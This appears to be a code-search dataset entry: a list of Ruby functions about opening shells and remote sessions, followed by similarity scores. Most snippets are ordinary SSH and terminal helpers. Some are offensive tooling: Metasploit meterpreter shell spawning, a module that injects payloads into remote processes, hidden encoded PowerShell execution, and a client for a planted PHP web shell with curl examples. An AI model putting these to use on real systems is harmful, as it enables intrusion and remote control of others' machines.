"def cmd_shell(*args)\n use_pty = false\n sh_path = '/bin/bash'\n\n @@shell_opts.parse(args) do |opt, idx, val|\n case opt\n when '-h'\n cmd_shell_help\n return true\n when '-l'\n return false unless client.fs.file.exist?('/etc/shells')\n\n begin\n client.fs.file.open('/etc/shells') do |f|\n print(f.read) until f.eof\n end\n rescue\n return false\n end\n\n return true\n when '-t'\n use_pty = true\n # XXX: No other options must follow\n sh_path = val if val\n end\n end\n\n case client.platform\n when 'windows'\n path = client.sys.config.getenv('COMSPEC')\n path = (path && !path.empty?) ? path : 'cmd.exe'\n\n # attempt the shell with thread impersonation\n begin\n cmd_execute('-f', path, '-c', '-i', '-H', '-t')\n rescue\n # if this fails, then we attempt without impersonation\n print_error('Failed to spawn shell with thread impersonation. Retrying without it.')\n cmd_execute('-f', path, '-c', '-i', '-H')\n end\n when 'android'\n cmd_execute('-f', '/system/bin/sh', '-c', '-i')\n when 'linux', 'osx'\n if use_pty && pty_shell(sh_path)\n return true\n end\n\n cmd_execute('-f', '/bin/sh', '-c', '-i')\n else\n # Then this is a multi-platform meterpreter (e.g., php or java), which\n # must special-case COMSPEC to return the system-specific shell.\n path = client.sys.config.getenv('COMSPEC')\n\n # If that failed for whatever reason, guess it's unix\n path = (path && !path.empty?) ? path : '/bin/sh'\n\n if use_pty && path == '/bin/sh' && pty_shell(sh_path)\n return true\n end\n\n cmd_execute('-f', path, '-c', '-i')\n end\n end",
"def open_tab(options = nil)\n current_terminal.launch_ :session => 'New session'\n end",
"def smart_screen_enable_in_shell\n return @smart_screen_enable_in_shell\n end",
"def start_threaded_shell(shell)\n @thread = Thread.new do\n start_shell(shell)\n end\n end",
"def spawn_pager\n # In case there's a previous pager running:\n close\n\n command = pager_command\n status = self.class.run_command(command)\n # Issue running command, e.g. unsupported flag, fallback to just command\n unless status\n command = pager_command.split.first\n end\n\n PagerIO.new(command)\n end",
"def smart_screen_enable_in_shell=(value)\n @smart_screen_enable_in_shell = value\n end",
"def interactive_shell\n final_cmd = \"\"\n prompt = DEFAULT_PROMPT\n loop do\n cmd = readline(prompt)\n\n case cmd\n when \"\", \"\\\\\"\n next\n when \"exit\", nil\n finish\n break\n when /.?\\\\$/\n final_cmd += cmd.sub(/\\\\$/,\"\\n\")\n prompt = MULTILINE_PROMPT\n Readline::HISTORY.push(cmd)\n next\n else\n final_cmd += cmd\n Readline::HISTORY.push(cmd)\n end\n\n execute(final_cmd)\n final_cmd = \"\"\n prompt = DEFAULT_PROMPT\n end\n end",
"def open_session\n s = Session.wrap(Cproton.pn_session(@impl))\n s.open\n return s\n end",
"def open_ssh(id=@connection.servers.first)\n command = ssh_cli_string(id)\n exec(command)\n end",
"def session(&block)\n raise ArgumentError, \"#{self.class}#shared_connection must be passed a block\" unless block_given?\n\n # Immediately open a TCP connection to the server and leave it open for\n # multiple requests.\n begin\n t0 = Time.now\n @in_session = true\n establish_shared_connection\n block.call\n rescue Timeout::Error\n elapsed = Time.now - t0\n ::NewRelic::Agent.logger.warn \"Timed out opening connection to collector after #{elapsed} seconds. If this problem persists, please see http://status.newrelic.com\"\n raise\n ensure\n @in_session = false\n close_shared_connection\n end\n end",
"def login_command_for_windows\n create_rdp_doc\n\n LoginCommand.new(\"mstsc\", rdp_doc_path)\n end",
"def spawn(user)\n log.info(\"Starting shell as #{user}\")\n close\n Thread.new do # so em thread won't die on @slave.shutdown\n slave = Slave.new(psname: \"vines-session-#{user}\") do\n uid = Process.euid\n\n # switch user so shell is run by non-root\n passwd = Etc.getpwnam(user)\n Process.egid = Process.gid = passwd.gid\n Process.euid = Process.uid = passwd.uid\n\n # fork shell as non-root user\n ENV.clear\n ENV['HOME'] = passwd.dir\n ENV['USER'] = user\n Dir.chdir(ENV['HOME'])\n\n shell = Session::Bash::Login.new\n\n # switch back so domain socket is owned by root\n Process.euid = Process.uid = uid\n shell\n end\n File.chmod(0700, slave.socket)\n @slave, @shell = slave, slave.object\n end.join\n end",
"def shell=(p0) end",
"def shell\n platform_service(:shell)\n end",
"def open_window(options = nil)\n window = terminal.make( :new => :terminal )\n window.launch_ :session => 'New session'\n end",
"def shell_init\n return true\n end",
"def shell_init\n return true\n end",
"def shell_init\n return true\n end",
"def do_open_confirmation(remote_id, max_window, max_packet); end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results = rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def remote_shell args\n remote(args) do |ssh|\n command = true\n while command\n print \"> \"\n command = gets\n if command\n result = ssh.exec! command\n puts result.split(\"\\n\").awesome_inspect if not result.nil?\n end\n end\n ssh.exec! \"exit\"\n end\n end",
"def shell_executor\n @cli_executor.shell_executor\n end",
"def capture_shell( command, opts = {} )\n accept = opts[ :accept ] || [ 0 ]\n opts = opts.merge( dryrun: true, coalesce: false, accept: [0] )\n args = sh_args( command, opts )\n capture_stream( args, host, :sh, opts )\n @commands << args\n [ accept[ rand( accept.length ) ], \"\" ]\n end",
"def login_command_for_linux\n args = %W{-u #{options[:user]}}\n args += %W{-p #{options[:password]}} if options.key?(:password)\n args += %W{#{URI.parse(options[:endpoint]).host}:#{rdp_port}}\n\n LoginCommand.new(\"rdesktop\", args)\n end",
"def initialize(shell)\n\t\tsuper\n\tend",
"def get_new\n logger.debug \"Establishing connection for #{creep.user}@#{creep.host} passwd:#{creep.password}\"\n ssh = Net::SSH.start(creep.host, creep.user, {:password => creep.password, :verbose => (ENV['SSH_DEBUG'] && ENV['SSH_DEBUG'].to_sym) || :fatal })\n ssh.send_global_request(\"keepalive@openssh.com\")\n ssh\n rescue Net::SSH::Exception => ex\n logger.error \"There was an exception in method get_new for SSConnection. Details #{ex}:\\n#{ex.backtrace}\"\n return nil\n rescue SystemCallError => ex\n logger.error \"There was an system error in method get_new for SSConnection. Details #{ex}:\\n#{ex.backtrace}\"\n return nil\n end",
"def exec_new(command, stdin = nil)\n\t exit_status = 0 # define variable so that it will be available in the block at method scope\n\t channel = @ssh_session.open_channel do |ch|\n\t ch.exec(command) do|ch, success|\n\n if success then\n\t @@logger.info(\"SshConnection: starts executing '#{command}'\")\n ch.on_data() do|ch, data|\n #process_stdout(data) unless data\n @stdout_handler.call(data) unless @stdout_handler.nil? or data.nil?\n end\n ch.on_extended_data() do|ch, type, data|\n @stderr_handler.call(data) unless @stderr_handler.nil? or data.nil?\n end\n ch.on_request \"exit-status\" do|ch, data|\n exit_status = data.read_long unless data.nil?\n\t @@logger.info(\"SshConnection.on_request: process terminated with exit-status: #{exit_status}\")\n\t if exit_status != 0\n\t @@logger.error(\"SshConnection.on_request: Remote command execution failed with code: #{exit_status}\")\n\t end\n end\n\t ch.on_request \"exit-signal\" do |ch, data|\n\t @@logger.info(\"SshConnection.on_request: process terminated with exit-signal: #{data.read_string}\")\n\t end\n ch.on_close do |ch|\n\t @@logger.info(\"SshConnection.on_close: remote end is closing!\")\n #@close_handler.call() unless @close_handler.nil?\n end\n ch.on_eof do |ch|\n\t @@logger.info(\"SshConnection.on_eof: remote end is done sending data\")\n #@close_handler.call() unless @close_handler.nil?\n end\n\t ch.on_open_failed do |ch, code, desc|\n\t @@logger.info(\"SshConnection.on_open_failed: code=#{code} desc=#{desc}\")\n\t end\n\t ch.on_process do |ch|\n\t #@@logger.debug(\"SshConnection.on_process; send line-feed/sleep\")\n\t ch.send_data(\"\\n\")\n\t end\n\n #ch.send_data stdin if stdin\n else\n\t @@logger.debug(\"SshConnection: the remote command could not be invoked!\")\n exit_status = 127\n end\n end\n\t #ch.wait\n\t end\n\t channel.wait\n\t return exit_status\n\tend",
"def shell_executor\n @executor.shell_executor\n end",
"def initialize(base_shell, &block)\r\n raise ArgumentError, 'a code block is required' unless block_given?\r\n raise ArgumentError, 'the base shell must be a valid shell' unless base_shell.is_a?(::Shells::ShellBase)\r\n\r\n self.shell = base_shell\r\n\r\n wrapper = self\r\n code_block = block\r\n self.output = ''\r\n self.config_parsed = false\r\n\r\n shell.instance_eval do\r\n merge_local_buffer do\r\n begin\r\n temporary_prompt(PF_PROMPT) do\r\n debug 'Initializing the pfSense PHP shell...'\r\n queue_input PF_SHELL + line_ending\r\n wait_for_prompt 999, 10, true\r\n\r\n debug ' > initialized'\r\n begin\r\n code_block.call wrapper\r\n ensure\r\n debug 'Exiting the pfSense PHP shell...'\r\n if wait_for_prompt(5, 5, false)\r\n # only queue the exit command if we are still in the pfSense shell.\r\n queue_input 'exit' + line_ending\r\n end\r\n end\r\n end\r\n ensure\r\n # wait for the normal shell to return.\r\n wait_for_prompt 10, 10, true\r\n debug ' > exited'\r\n wrapper.output = output\r\n end\r\n end\r\n end\r\n end",
"def initialize(shell = '/bin/sh', stop_command = 'exit')\n @shell = shell\n @stop_command = stop_command\n @stdout_lines = []\n @stderr_lines = []\n @on_exit_blocks = []\n @current_buffer = ''\n # TODO: Removed pending PLAT-6322\n # @boring = Boring.new\n\n start_threaded_shell(shell)\n end",
"def run\n unless session.platform == 'windows' && [ARCH_X64, ARCH_X86].include?(session.arch)\n print_error(\"This module requires native Windows meterpreter functions not compatible with the selected session\")\n return\n end\n # Set variables\n multi_ip = nil\n multi_pid = nil\n\n print_status(\"Running module against #{sysinfo['Computer']}\")\n\n if datastore['HANDLER']\n create_multi_handler(datastore['PAYLOAD'],datastore['LPORT'])\n end\n\n multi_ip = datastore['IPLIST'].split(\";\")\n multi_pid = datastore['PIDLIST'].split(\";\")\n\n datastore['AMOUNT'].times do # iterate through number of shells\n\n multi_ip.zip(multi_pid).each do |a|\n # Check if we have an IP for the session\n if a[1]\n payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])\n inject(a[1],payload)\n select(nil, nil, nil, 5)\n else\n # if no PID we create a process to host the Meterpreter session\n payload = create_payload(datastore['PAYLOAD'],a[0],datastore['LPORT'])\n pid_num = start_proc(datastore['PROCESSNAME'])\n inject(pid_num,payload)\n select(nil, nil, nil, 5)\n end\n\n end\n end\n end",
"def extend_shell(sh, prefix)\n logfile.write \"\\n\" + prefix\n sh.instance_variable_set :@prep_log, logfile\n sh.instance_variable_set :@prep_prefix, \"\\n#{prefix}\"\n sh.instance_variable_set :@stat_count, -1\n sh.instance_variable_set :@stat_every, 128\n sh.instance_variable_set :@home_path, nil\n\n def sh.home_path\n @home_path ||= exec_ignore_code(\"eval echo \\\"~#{@options[:user]}\\\"\").to_s.split(\"\\n\").first.to_s.strip\n end\n\n def sh.with_stat(status, stat_every = 128)\n if @stat_count > -1\n yield\n else\n @stat_count = 0\n @stat_every = stat_every < 1 ? 128 : stat_every\n print status\n yield\n print \"\\n\"\n @stat_count = -1\n @stat_every = 128\n end\n end\n\n def sh.exec(cmd, options = {}, &block)\n super(cmd, options) do |data, type|\n @prep_log.write data.gsub(\"\\n\", @prep_prefix)\n @prep_log.flush\n if @stat_count > -1\n @stat_count += data.length\n while @stat_count >= @stat_every\n @stat_count -= @stat_every\n print '.'\n end\n end\n if block\n block.call data, type\n else\n nil\n end\n end\n end\n\n def sh.stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { exec(cmd, options, &block) }\n end\n\n def sh.sudo_stat_exec(status, cmd, options = {}, &block)\n with_stat(status) { sudo_exec(cmd, options, &block) }\n end\n\n def sh.apt_get(command)\n sudo_exec \"DEBIAN_FRONTEND=noninteractive apt-get -y -q #{command}\"\n end\n\n def sh.get_user_id(user)\n result = exec_ignore_code(\"id -u #{user} 2>/dev/null\").to_s.split(\"\\n\")\n result.any? ? result.first.strip.to_i : 0\n end\n\n def sh.host_info\n @host_info ||=\n begin\n results = exec('cat /etc/*-release').split(\"\\n\").map{|s| s.strip}.reject{|s| s == ''}\n info = {}\n\n results.each do |line|\n if line.include?('=')\n var,_,val = line.partition('=').map{|s| s.strip}\n val = val[1...-1] if val[0] == '\"' && val[-1] == '\"'\n var.upcase!\n info[var] = val\n end\n end\n\n info['ID'] = (info['ID'] || 'unknown').downcase.to_sym\n info['NAME'] ||= info['ID'].to_s\n info['VERSION'] ||= '??'\n info['PRETTY_NAME'] ||= \"#{info['NAME']} #{info['VERSION']}\"\n\n puts info['PRETTY_NAME']\n\n info\n end\n end\n\n sh\n end",
"def handle_command_with_input(local_run_method, shell_command, input_query, response=nil)\n send(local_run_method, shell_command, {:pty => true}) do |channel, stream, data|\n if data =~ input_query\n if response\n logger.info \"#{data} #{\"*\"*(rand(10)+5)}\", channel[:host]\n channel.send_data \"#{response}\\n\"\n else\n logger.info data, channel[:host]\n response = ::Capistrano::CLI.password_prompt \"#{data}\"\n channel.send_data \"#{response}\\n\"\n end\n else\n logger.info data, channel[:host]\n end\n end\nend",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def ssh\n @_ssh ||= Net::SSH.start(host, user, options)\n end",
"def shell_executor=(shell_executor)\n @executor.shell_executor = shell_executor\n end",
"def run_ssh(host, shell_command, ssh_timeout = 60)\n begin\n # define basic query\n ssh_query = {\n :ssh_host => host,\n :ssh_auth_type => :password, # password is set on ssh method (default per os during provisioning)\n :ssh_timeout => ssh_timeout,\n :ssh_debug => @debug,\n :ssh_command => shell_command\n }\n\n # instantiate the ssh method and pull the command status\n $evm.instantiate(SSH_INSTANCE_PATH + '?' + ssh_query.to_query)\n status = $evm.root['ssh_command_status']\n\n # pull and inspect our results if we succeeded\n if status\n results = $evm.root['ssh_results']\n return results\n else\n log(:error, \"run_ssh: Command #{shell_command} failed. Returning nil.\")\n return nil\n end\n rescue => err\n log(:error, \"run_ssh: Unable to run command: #{shell_command}. Returning nil.\")\n return nil\n end\nend",
"def start_powershell_process\n platform = RightScale::RightLinkConfig[:platform]\n shell = platform.shell\n\n # Import ChefNodeCmdlet.dll to allow powershell scripts to call get-ChefNode, etc.\n # Also pass in name of pipe that client needs to connect to\n lines_before_script = [\"import-module #{CHEF_NODE_CMDLET_DLL_PATH}\", \"$pipeName='#{@pipe_name}'\"]\n\n command = shell.format_powershell_command4(RightScale::Platform::Windows::Shell::POWERSHELL_V1x0_EXECUTABLE_PATH, lines_before_script, nil, RUN_LOOP_SCRIPT_PATH)\n\n RightLinkLog.debug(format_log_message(\"Starting powershell process for host #{command}\"))\n\n RightScale.popen3(:command => command,\n :environment => nil,\n :target => self,\n :stdout_handler => :on_read_output,\n :stderr_handler => :on_read_output,\n :exit_handler => :on_exit,\n :temp_dir => RightScale::InstanceConfiguration::CACHE_PATH)\n\n return true\n end",
"def elevated_session(retry_options = {})\n @elevated_session ||= begin\n connection(retry_options).shell(:elevated).tap do |shell|\n shell.username = options[:elevated_username]\n shell.password = options[:elevated_password]\n end\n end\n end",
"def start_ssh(&session)\n config = self.class.ssh_config\n Net::SSH.start( config[:host],\n config[:user],\n config.fetch(:options, { }),\n &session )\n end",
"def shell_init()\n\t\traise NotImplementedError\n\tend",
"def powercli_connect_exec(cmd)\n # used cached powershell runtime AND used cached PowerCLI connection\n # caching the powershell runtime is a huge savings, caching the PowerCLI connection\n # is another huge savings, worth about 5-10s total per call\n PuppetX::PowerCLI::Helper.instance.powercli_connect_exec(resource[:vcenter_connection],\n cmd)\n end",
"def new_session\n # Register PhantomJS (aka poltergeist) as the driver to use\n Capybara.register_driver :poltergeist do |app|\n Capybara::Poltergeist::Driver.new(app, timeout: 60, js_errors: false)\n end\n\n # Use CSS as the default selector for the find method\n Capybara.default_selector = :css\n\n # Start up a new thread\n @session = Capybara::Session.new(:poltergeist)\n\n # Report using a particular user agent\n @session.driver.headers = { 'User-Agent' =>\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X)\" }\n\n # Return the driver's session\n @session\n end",
"def on_success( channel )\n if @state == :pty\n request_shell\n elsif @state == :shell\n @state = :open\n end\n end",
"def shell\n @shell ||= if options[:no_color] || !STDOUT.tty?\n Thor::Shell::Basic\n else\n Thor::Base.shell\n end.new\n end",
"def get_ssh_session\n ssh = nil\n begin\n ssh = Net::SSH.start(@node, @user, :password => @password)\n ssh.loop(true)\n rescue Exception => e\n puts \"Unknown Net:SSH Exception : #{e.message}\"\n return nil\n end\n ssh\n end",
"def setup\n open_session\n end",
"def initialize(host, user, options={})\n @session = Net::SSH.start(host, user, options)\n @session_mutex = Mutex.new\n @port_mutex = Mutex.new\n @next_port = MAX_PORT\n @loop_wait = options.delete(:loop_wait) || 0.001\n initiate_event_loop!\n end",
"def new_session\n open_session do |sess|\n sess.extend(SessionMethods)\n yield sess if block_given?\n end\n end",
"def execute_shell_with_retry(command, shell, &block)\n retryable(:tries => @max_tries, :on => EXCEPTIONS, :sleep => 10) do\n @logger.debug(\"#{shell} executing:\\n#{command}\")\n begin\n output = session.send(shell, command) do |out, err|\n block.call(:stdout, out) if block_given? && out\n block.call(:stderr, err) if block_given? && err\n end\n rescue Exception => ex\n raise Timeout::Error if ex.message =~ /execution expired/ # received not friendly timeout, raise a more friendly error\n raise # didn't include execution expired, so raise for retryable to handle\n end\n @logger.debug(\"Output: #{output.inspect}\")\n return output\n end\n end",
"def shell_api; end",
"def login_command_for_mac\n create_rdp_doc(mac: true)\n\n LoginCommand.new(\"open\", rdp_doc_path)\n end",
"def initialize\n @viewport = Viewport.new(0,0,Graphics.width,Graphics.height)\n @viewport.z = 99999\n # Initialize shell options if not set\n $ShellOptions ||= ShellOptions.load\n # Get the active config. If none is found, use the default config.\n if !$ShellOptions.activeConfig || !$ShellOptions.shellConfigs.has_key?($ShellOptions.activeConfig)\n $ShellOptions.shellConfigs['default'] ||= ShellConfiguration.newDefault\n $ShellOptions.activeConfig = 'default'\n end\n @config = $ShellOptions.shellConfigs[$ShellOptions.activeConfig]\n # Create the console window and set the available commands.\n @window = ConsoleWindow.new(self,@viewport.rect)\n @prompt = @config.prompt\n @aliases = $ShellOptions.shellAliases\n @commands = {}\n self.set_commands\n @context = nil\n self.main\n end",
"def create_sessions(max)\n iTerm = app('iTerm')\n 1.upto(max) do |num|\n iTerm.current_terminal.launch_(session: \"Default Session\")\n iTerm.current_terminal.current_session.name.set(\"tab_#{num}\")\n # puts iTerm.current_terminal.current_session.name.get\n end\nend",
"def open_session\n @current_session = new_session\n @current_session.test_case = self\n yield @current_session if block_given?\n @current_session\n end",
"def open_session\n old_session = @current_session\n @current_session = new_session\n result = yield @current_session\n @current_session = old_session\n return result\n end",
"def execute_script(script, greedy_kill = false)\n @session_pids ||= []\n running_pids = greedy_kill ? get_ps_pids : []\n open_channels = []\n # Execute using -EncodedCommand\n session.response_timeout = datastore['Powershell::Post::timeout'].to_i\n ps_bin = datastore['Powershell::Post::force_wow64'] ?\n '%windir%\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe' : 'powershell.exe'\n\n # Check to ensure base64 encoding - regex format and content length division\n unless script.to_s.match(/[A-Za-z0-9+\\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?\n script = encode_script(script.to_s)\n end\n\n ps_string = \"-EncodedCommand #{script} -InputFormat None\"\n vprint_good \"EXECUTING:\\n#{ps_bin} #{ps_string}\"\n cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true })\n\n # Subtract prior PIDs from current\n if greedy_kill\n Rex::ThreadSafe.sleep(3) # Let PS start child procs\n running_pids = get_ps_pids(running_pids)\n end\n\n # Add to list of running processes\n running_pids << cmd_out.pid\n\n # All pids start here, so store them in a class variable\n (@session_pids += running_pids).uniq!\n\n # Add to list of open channels\n open_channels << cmd_out\n\n [cmd_out, running_pids.uniq, open_channels]\n end",
"def smb_shell\n if @hashpass\n system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} --pw-nt-hash #{@pass}\")\n else\n system(\"#{@smbclient} \\\\\\\\\\\\\\\\#{@host}\\\\\\\\#{@share} -p #{@port} -U #{@user} #{@pass}\")\n end\n end",
"def session_uplimit(limit = nil)\n args = generate_speed_args(\"speed-limit-up-enabled\", \"speed-limit-up\", limit)\n remote_request(\"session-set\", args)\n end",
"def start_new_browser_session(options={})\n start_args = [@browser_string, @browser_url, @extension_js]\n\n if driver = options.delete(:driver)\n expected_browser_string = \"*webdriver\"\n unless @browser_string == expected_browser_string\n raise ArgumentError, \"can't use :driver unless the browser string is #{expected_browser_string.inspect} (got #{@browser_string.inspect})\"\n end\n\n sid = driver.capabilities['webdriver.remote.sessionid']\n sid or raise ArgumentError, \"This driver can not be wrapped in the RC API.\"\n\n start_args << \"webdriver.remote.sessionid=#{sid}\"\n end\n\n start_args << options.collect {|key,value| \"#{key.to_s}=#{value.to_s}\"}.sort.join(\";\")\n\n @session_id = string_command \"getNewBrowserSession\", start_args\n # Consistent timeout on the remote control and driver side.\n # Intuitive and this is what you want 90% of the time\n self.remote_control_timeout_in_seconds = @default_timeout_in_seconds\n self.highlight_located_element = true if highlight_located_element_by_default\n end",
"def connect(silent = false)\n info \"starting ssh session to #{config.host}:#{config.port} ...\" unless silent\n Travis::Worker::Utils::HardTimeout.timeout(15) do\n @connector.connect\n end\n if @config.platform == :osx\n info \"unlocking keychain\" unless silent\n exec(\"security unlock-keychain -p #{config.keychain_password}\")\n end\n true\n rescue Timeout::Error\n warn \"Timed out attempting to open SSH connection\"\n raise\n end",
"def session\n Properties[self.class] ||= {}\n return Properties[self.class][:session] || 'shell'\n end"
] |
[
"0.6251886",
"0.57624686",
"0.5740671",
"0.57309824",
"0.56949246",
"0.567466",
"0.56519455",
"0.56013155",
"0.5541296",
"0.55361515",
"0.5464457",
"0.54332954",
"0.5430686",
"0.54252017",
"0.541093",
"0.5410368",
"0.5410368",
"0.5395123",
"0.538147",
"0.53743464",
"0.53517413",
"0.53041416",
"0.52799416",
"0.52611256",
"0.52388585",
"0.52278775",
"0.52059114",
"0.52045",
"0.51901346",
"0.51886743",
"0.5180023",
"0.5172231",
"0.5102044",
"0.50693697",
"0.50374556",
"0.50217223",
"0.5005423",
"0.4987033",
"0.49852765",
"0.49852163",
"0.4940012",
"0.49220234",
"0.4921857",
"0.4907883",
"0.4904705",
"0.4872843",
"0.48675394",
"0.48609555",
"0.48573917",
"0.4855555",
"0.48406497",
"0.48395535",
"0.4838193",
"0.4838193",
"0.4838193",
"0.4835232",
"0.48255354",
"0.48255354",
"0.48214528",
"0.4821108",
"0.48037255",
"0.48000178",
"0.47955498",
"0.47947115",
"0.47943708",
"0.47906718",
"0.47892526",
"0.47834152",
"0.4776492",
"0.4775132",
"0.47719714",
"0.47660506",
"0.47640085",
"0.47634605",
"0.4757613",
"0.47495073",
"0.47488195",
"0.4746002",
"0.47423595",
"0.47421244",
"0.47395548",
"0.47355673",
"0.4734312",
"0.47317255",
"0.47308156",
"0.4724184",
"0.4722907",
"0.47121674",
"0.47069356",
"0.47053516",
"0.46936858",
"0.46892548",
"0.4687524",
